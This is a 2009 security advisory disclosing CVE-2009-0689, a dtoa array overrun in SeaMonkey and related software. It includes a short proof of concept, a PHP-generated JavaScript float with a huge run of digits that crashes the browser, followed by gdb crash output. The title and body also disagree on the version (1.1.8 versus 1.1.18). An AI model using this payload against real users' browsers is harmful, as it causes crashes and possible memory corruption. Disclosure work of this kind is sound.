SeaMonkey 1.1.8 Remote Array Overrun (Arbitrary code execution) Nov 20 2009 12:34AM
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[ SeaMonkey 1.1.8 Remote Array Overrun (Arbitrary code execution) ]

Author: Maksymilian Arciemowicz and sp3x


- - Dis.: 07.05.2009

- - Pub.: 20.11.2009

CVE: CVE-2009-0689

Risk: High

Remote: Yes

Affected Software:

- - SeaMonkey 1.1.18

Fixed in:

- - SeaMonkey 2.0

NOTE: Prior versions may also be affected.

Original URL:

- --- 0.Description ---

The SeaMonkey project is a community effort to develop the SeaMonkey all-in-one internet application suite (see below). Such a software suite was previously made popular by Netscape and Mozilla, and the SeaMonkey project continues to develop and deliver high-quality updates to this concept. Containing an Internet browser, email & newsgroup client with an included web feed reader, HTML editor, IRC chat and web development tools, SeaMonkey is sure to appeal to advanced users, web developers and corporate users.

- --- 1. SeaMonkey 1.1.18 Remote Array Overrun (Arbitrary code execution) ---

The main problem exist in dtoa implementation. SeaMonkey has the same dtoa as a KDE, Opera and all BSD systems. This issue has been fixed in Firefox 3.5.4 and fix

has been used to patch SeaMonkey 2.0.

This flaw has been detected in may 2009 and signed SREASONRES:20090625.

but fix for SREASONRES:20090625, used by openbsd was not good.

More information about fix for openbsd and similars SREASONRES:20091030,

We can create any number of float, which will overwrite the memory. In Kmax has defined 15. Functions in dtoa, don't checks Kmax limit, and it is possible to call 16<= elements of freelist array.

- --- 2. Proof of Concept (PoC) ---

- -----------------------


var a=0.<?php echo str_repeat("9",299999); ?>;


- -----------------------

If we use SeaMonkey to see this PoC, SeaMonkey will crash. For example

- -----------------------


var a=0.<?php echo str_repeat("1",296450); ?>;


- -----------------------

127# gdb seamonkey-bin seamonkey-bin.core


#0 0x28df0ecb in ?? ()


(gdb) i r

eax 0x0 0

ecx 0x2 2

edx 0xbfbfd2fc -1077947652

ebx 0x28da9b6c 685415276

esp 0xbfbfd2ac 0xbfbfd2ac

ebp 0xbfbfd2c8 0xbfbfd2c8

esi 0xb 11

edi 0xb 11

eip 0x28df0ecb 0x28df0ecb


esi = esi = 11

- --- 3. SecurityReason Note ---

Officialy SREASONRES:20090625 has been detected in:

- - OpenBSD

- - NetBSD

- - FreeBSD

- - MacOSX

- - Google Chrome

- - Mozilla Firefox

- - Mozilla Seamonkey

- - KDE (example: konqueror)

- - Opera

- - K-Meleon

This list is not yet closed. US-CERT declared that will inform all vendors about this issue, however, they did not do it. Even greater confusion caused new CVE number "CVE-2009-1563". Secunia has informed that this vulnerability was only detected in Mozilla Firefox, but nobody was aware that the problem affects other products like ( KDE, Chrome ) and it is based on "CVE-2009-0689". After some time Mozilla Foundation Security Advisory


was updated with note :

"The underlying flaw in the dtoa routines used by Mozilla appears to be essentially the same as that reported against the libc gdtoa routine by Maksymilian Arciemowicz ( CVE-2009-0689)".

This fact ( new CVE number for Firefox Vulnerability )and PoC in javascript (from Secunia), forced us to official notification all other vendors. We publish all the individual advisories, to formally show all vulnerable software and to avoid wrong CVE number. We do not see any other way to fix this issue in all products.

Please note:

Patch used in Firefox 3.5.4 does not fully solve the problem. Dtoa algorithm is not optimal and allows remote Denial of Service in Firefox 3.5.5 giving long float number.

- --- 4. Fix ---

NetBSD fix (optimal):

OpenBSD fix:

- --- 5. Credits ---

Discovered by Maksymilian Arciemowicz and sp3x from

- --- 6. Greets ---

Infospec p_e_a pi3

- --- 7. Contact ---


- - cxib {a.t] securityreason [d0t} com

- - sp3x {a.t] securityreason [d0t} com


- -

- -






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